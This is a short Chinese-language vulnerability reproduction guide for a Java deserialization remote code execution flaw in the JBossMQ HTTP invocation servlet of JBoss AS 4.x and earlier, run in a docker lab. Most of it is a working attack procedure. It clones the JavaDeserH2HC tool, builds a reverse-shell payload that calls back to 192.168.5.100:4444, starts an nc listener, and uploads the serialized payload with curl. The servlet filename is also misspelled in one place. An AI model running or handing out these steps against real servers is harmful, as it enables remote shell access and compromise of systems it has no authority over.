一。漏洞影响范围
JBoss AS4.x及之前版本
仅供学习参考
二。漏洞原理:
类似于Jboss反序列化远程代码执行漏洞(CVE-2017-12149),JBossMQ实现过程中的JMS over HTTP Invocation layer 的 HPPTServeriLservlet.java文件存在序列化漏洞。
三。漏洞复现:
这里使用的是CVE-2017-12149的POC,步骤相同,先是下载可执行文件,然后运行生成二进制文件,curl进行上传,然后NC监听
环境搭建:
docker-compose build
docker-compose up -d
访问存在序列化漏洞的URL:
下载可执行文件:
git clone https://github.com/joaomatosf/JavaDeserH2HC
运行该目录里的可执行文件,生成二进制文件,执行以下命令:
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java 192.168.5.100:4444
生成成功:
由于设置的是4444端口监听,所以利用nc监听4444端口:
另一边利用curl进行上传脚本:
代码如下:
curl http://192.168.5.100:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
kali这边监听成功:
和Jboss反序列化远程代码执行漏洞(CVE-2017-12149)漏洞复现几乎一样,只不过存在反序列化漏洞的文件不同罢了。